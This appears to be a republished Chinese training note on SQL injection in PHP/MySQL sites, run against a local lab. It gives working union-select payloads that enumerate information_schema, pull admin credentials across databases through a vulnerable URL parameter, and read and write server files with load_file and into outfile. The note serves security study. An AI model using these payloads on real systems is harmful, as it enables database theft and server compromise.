Day42:WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作

本文主要是介绍Day42:WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

PHP-MYSQL-Web组成架构

PHP-MYSQL-SQL常规查询

手工注入

PHP-MYSQL-SQL跨库查询

跨库注入

PHP-MYSQL-SQL文件读写


知识点:

1、PHP-MYSQL-SQL注入-常规查询

2、PHP-MYSQL-SQL注入-跨库查询

3、PHP-MYSQL-SQL注入-文件读写

MYSQL注入:(目的获取当前web权限)
1、判断常见四个信息(系统,用户,数据库名,版本)
2、根据四个信息去选择方案
root用户:先测试读写,后测试获取数据
非root用户:直接测试获取数据

PHP-MYSQL-Web组成架构

MySQL数据库
服务器安装 MYSQL 数据库,搭建多个站点,数据库集中存储 MYSQL 数据库中管理

mysql里面有内置的管理用户,其中root就是默认数据库管理员用户 网站上面的数据库都在mysql中,由root或一对一用户去管理

1、数据库统一管理(root用户)
每个网站的数据库都由root用户统一管理
网站A:192.168.1.4:81  D:/phpstudy_pro/WWW/Z-Blog  数据库root用户  zblog
网站B:192.168.1.4:82  D:/phpstudy_pro/WWW/demo01  数据库root用户  demo01
mysql
    root(自带默认)
        网站A  testA
        网站B  testB

 

2、数据库一对一管理(不同用户)
自己的网站单独创建数据库用户去管理自己的数据库
网站A:192.168.1.4:81  D:/phpstudy_pro/WWW/Z-Blog  数据库zblog用户  zblog
网站B:192.168.1.4:82  D:/phpstudy_pro/WWW/demo01  数据库demo用户  demo01
mysql
    testA用户
        网站A  testA
    testb用户
        网站B  testB

接受的参数值未进行过滤直接带入SQL查询的操作 就是SQL注入产生的原理

攻击:利用SQL语句执行你想要的东西(SQL语句能干嘛,注入就能干嘛)
SQL语句能干嘛 = SQL语句由谁决定 => 数据库类型决定 (为什么有mysql注入、oracle注入的叫法原因)

Access数据库

access无数据库用户;管理以单个数据库为单位

Access(单个)
    表名
        列名(字段)
            数据
目的:获取数据

access注入 sqlmap 靠字典去猜 有可能猜不到表名 列名

实战中 肯定一步步得到信息

PHP-MYSQL-SQL常规查询

获取相关数据:

1、数据库版本-看是否符合information_schema查询-version()

2、数据库用户-看是否符合ROOT型注入攻击-user()

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

MYSQL5.0 以上版本:自带的数据库名information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

information_schema.schemata:记录数据库名信息的表

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息表

schema_name:information_schema.schemata记录数据库名信息的列名值

table_schema:information_schema.tables记录数据库名的列名值

table_name:information_schema.tables记录表名的列名值

column_name:information_schema.columns记录列名的列名值

手工注入

order by 6(代表的是当前表名下的列名有几个)

union select 1,2,3,4,5,6

union select 1,2,3,database(),user(),6

union select 1,2,3,version(),@@version_compile_os,6
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=‘demo01’

union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name=‘admin’ and table_schema=‘demo01’

union select 1,2,3,username,password,6 from admin limit 0,1

PHP-MYSQL-SQL跨库查询

影响条件:当前数据库ROOT用户权限

测试不同数据库用户:root demo

跨库注入

通过B网站的注入点获取A网站的账号密码
获取mysql下所有数据库名:
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata

http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=‘zblog’

http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=‘zblog’ and table_name=‘zbp_member’

解决:单引号过滤绕过方式
SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)

PHP-MYSQL-SQL文件读写

影响条件:

  1. 当前数据库用户权限(高权限)
  2. secure-file-priv设置(限制目录路径读写的配置)

测试不同数据库用户:root demo

select load_file()

select 'a' into outfile 'd:/www.txt'

读:union select 1,load_file('d:\\1.txt'),3,4,5,6写:union select 1,'xiaodi',3,4,5,6 into outfile 'd:\\2.txt'

读写的路径的问题:

1、报错显示获取路径
2、phpinfo页面泄漏如果不知道路径思路:
利用常见的默认的中间件,数据库等安装配置文件读取有价值信息(比较难)

这篇关于Day42:WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/836983

相关文章

MySQL 衍生表(Derived Tables)的使用

《MySQL衍生表(DerivedTables)的使用》本文主要介绍了MySQL衍生表(DerivedTables)的使用,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学... 目录一、衍生表简介1.1 衍生表基本用法1.2 自定义列名1.3 衍生表的局限在SQL的查询语句select

MySQL 横向衍生表(Lateral Derived Tables)的实现

《MySQL横向衍生表(LateralDerivedTables)的实现》横向衍生表适用于在需要通过子查询获取中间结果集的场景,相对于普通衍生表,横向衍生表可以引用在其之前出现过的表名,本文就来... 目录一、横向衍生表用法示例1.1 用法示例1.2 使用建议前面我们介绍过mysql中的衍生表(From子句

六个案例搞懂mysql间隙锁

《六个案例搞懂mysql间隙锁》MySQL中的间隙是指索引中两个索引键之间的空间,间隙锁用于防止范围查询期间的幻读,本文主要介绍了六个案例搞懂mysql间隙锁,具有一定的参考价值,感兴趣的可以了解一下... 目录概念解释间隙锁详解间隙锁触发条件间隙锁加锁规则案例演示案例一:唯一索引等值锁定存在的数据案例二:

MySQL JSON 查询中的对象与数组技巧及查询示例

《MySQLJSON查询中的对象与数组技巧及查询示例》MySQL中JSON对象和JSON数组查询的详细介绍及带有WHERE条件的查询示例,本文给大家介绍的非常详细,mysqljson查询示例相关知... 目录jsON 对象查询1. JSON_CONTAINS2. JSON_EXTRACT3. JSON_TA

MySQL 设置AUTO_INCREMENT 无效的问题解决

《MySQL设置AUTO_INCREMENT无效的问题解决》本文主要介绍了MySQL设置AUTO_INCREMENT无效的问题解决,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参... 目录快速设置mysql的auto_increment参数一、修改 AUTO_INCREMENT 的值。

MYSQL查询结果实现发送给客户端

《MYSQL查询结果实现发送给客户端》:本文主要介绍MYSQL查询结果实现发送给客户端方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录mysql取数据和发数据的流程(边读边发)Sending to clientSending DataLRU(Least Rec

MySQL分区表的具体使用

《MySQL分区表的具体使用》MySQL分区表通过规则将数据分至不同物理存储,提升管理与查询效率,本文主要介绍了MySQL分区表的具体使用,具有一定的参考价值,感兴趣的可以了解一下... 目录一、分区的类型1. Range partition(范围分区)2. List partition(列表分区)3. H

Linux链表操作方式

《Linux链表操作方式》:本文主要介绍Linux链表操作方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、链表基础概念与内核链表优势二、内核链表结构与宏解析三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势六、典型应用场景七、调试技巧与

MySQL复杂SQL之多表联查/子查询详细介绍(最新整理)

《MySQL复杂SQL之多表联查/子查询详细介绍(最新整理)》掌握多表联查(INNERJOIN,LEFTJOIN,RIGHTJOIN,FULLJOIN)和子查询(标量、列、行、表子查询、相关/非相关、... 目录第一部分:多表联查 (JOIN Operations)1. 连接的类型 (JOIN Types)

Java Multimap实现类与操作的具体示例

《JavaMultimap实现类与操作的具体示例》Multimap出现在Google的Guava库中,它为Java提供了更加灵活的集合操作,:本文主要介绍JavaMultimap实现类与操作的... 目录一、Multimap 概述Multimap 主要特点:二、Multimap 实现类1. ListMult